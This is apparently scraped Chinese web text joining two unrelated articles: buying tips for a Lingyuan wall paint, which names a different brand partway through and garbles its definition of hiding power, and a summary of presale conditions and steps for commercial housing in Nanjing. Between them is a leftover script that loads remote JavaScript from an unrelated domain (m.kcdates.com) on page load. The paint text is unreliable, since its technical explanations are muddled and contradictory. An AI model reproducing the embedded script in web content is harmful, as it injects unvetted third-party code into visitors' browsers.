凌源全效合一墙面漆选购技巧有哪些 你清楚吗

墙面漆是墙面装饰材料里的主要材料之一，墙面漆为涂抹在墙面表层的涂料，有效的起到墙面装饰与保护作用，让家居环境更美观，更时尚了，增加住宅安全度。明珠墙面漆即为其中的一个品牌。那么，凌源全效合一墙面漆选购技巧有哪些呢?想了解的，敢快往下瞧瞧!一、凌源全效合一墙面漆选购技巧有哪些呢?1、凌源全效合一墙面漆选购技巧：覆盖力：它是指将我们色漆均匀涂布在黑色和白色的格子上，使黑色和白色不再有很小的用漆量，用g/m2来表示，它的重量比较高的话，那它的遮盖力就相当的弱，遮盖力很强的话，那就表示单位的面积所用的漆量也就是相当小了。2、凌源全效合一墙面漆选购技巧：附着力：它所表示的就是涂膜和基层的粘合力，涂膜与被涂面之间它们是通过一系列的物化化学作用结合在一起，坚牢程度，被涂的那面，能够是裸底材也可以是涂漆的底材，如果它的附着力不怎么样的话，那墙面漆就很容易脱落的，如果真是这样的话，会大大影响墙面的平整美观。​3、凌源全效合一墙面漆选购技巧：粘度：指涂料的粘度。它可以通过水性涂料粘度测量仪器测量。粘度是涂层性能的重要指标。它对涂料的储存稳定性，涂料性能和成膜性能有很大影响。如果涂层太厚，很不易涂布，如果涂层太薄，很容易掉落，因此涂层的粘度应控制在一定范围内。4、凌源全效合一墙面漆选购技巧：细度：它是指我们涂料里面颗粒的大小和分散的均匀程度，它细度的大与小，会直接关系到我们涂膜表面上的平整和光泽以及透水性等等，一般情况下，我们涂料的质量是越细的话，它的价格就会越贵。以上就是为你们大家介绍的全部内容就到这里结束了，相信大家也清清楚楚的掌握了，在我们购买的时候，也是知道它的选购技巧了，再也不用这个发愁了，再也不会让自己感觉到头大了，也知道怎么去选择了，不用一家一家的去打听了，也不用去四处问亲戚朋友了，能够为自家选择一款好的墙面漆，环保安全的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

南京商品房预售条件和步骤有哪些?

商品房预售是现在很多开发商都会采取的销售形式，主要是为了筹集建设资金。那么，2016年商品房预售有哪些条件?开发商满足哪些条件才能进行商品房预售?商品房预售的步骤有哪些?下面小编为大家介绍南京商品房预售条件和步骤!一、南京商品房预售条件及步骤房屋预售虽然是一种可行的销售方式，但如果管理不善，极易导致投机行为，损害消费者的正当权益。为此，《中华人民共和国城市房地产管理法》(以下全书简称《城市房地产管理法》)专门对房屋预售的条件作出了规定。根据该法第四十四条第一款的规定，房屋预售应当符合下列条件：第一，已交付全部土地使用权出让金，取得土地使用权证书。此项规定是商品房预售的基础。因为只有土地使用权是合法的，在土地上所建的房屋才能合法地进入流通领域，从而达到预售的目的。第二，持有建设工程规划许可证。此项规定是房屋开工建设的前提。城市任何建设项目都得置于城市的总体规划之下，房屋建设也不例外。房地产开发企业只有在其建设项目符合城市规划，领取建设工程规划许可证后才能开工建设。第三，按提供预售的房屋计算，投入开发建设的资金达到工程建设总投资的25%以上，并已经确定施工进度和竣工交付日期。此项规定是房屋预售的关键性问题。第四，向县级以上人民政府房产管理部门办理预售登记，取得商品房预售许可证明。二、南京房屋预售一般应经过以下步骤第一，预售人领取土地使用证、建设工程规划许可证;第二，预售人办理预售登记，领取预售许可证;第三，预售人同预购人签订商品房预售合同;第四，预售合同登记备案;第五，房屋交付后，办理产权登记。三、南京商品房预售应当符合下列条件：(一)已交付全部土地使用权出让金，取得土地使用权证书;(二)持有建设工程规划许可证和施工许可证;(三)按提供预售的商品房计算，投入开发建设的资金达到工程建设总投资的25%以上，并已经确定施工进度和竣工交付日期;(四)取得商品房预售许可证。依据《城市商品房预售管理办法》的规定，商品房预售实行许可证制度。房地产开发企业在具备前三个条件的情况下，向市、县人民政府建设行政主管部门或房地产行政主管理部门申请《商品房预售许可证》，取得《商品房预售许可证》。未取得者，不得进行商品房预售活动。以上就是小编为大家整理的商品房预售条件的相关内容，希望对大家有所帮助。在购买商品房时不仅仅需要注意预售条件，还要注意如何确定商品房预售效力，商品房买卖违约要承担什么责任?了解这些能够对购房者有着更大的帮助。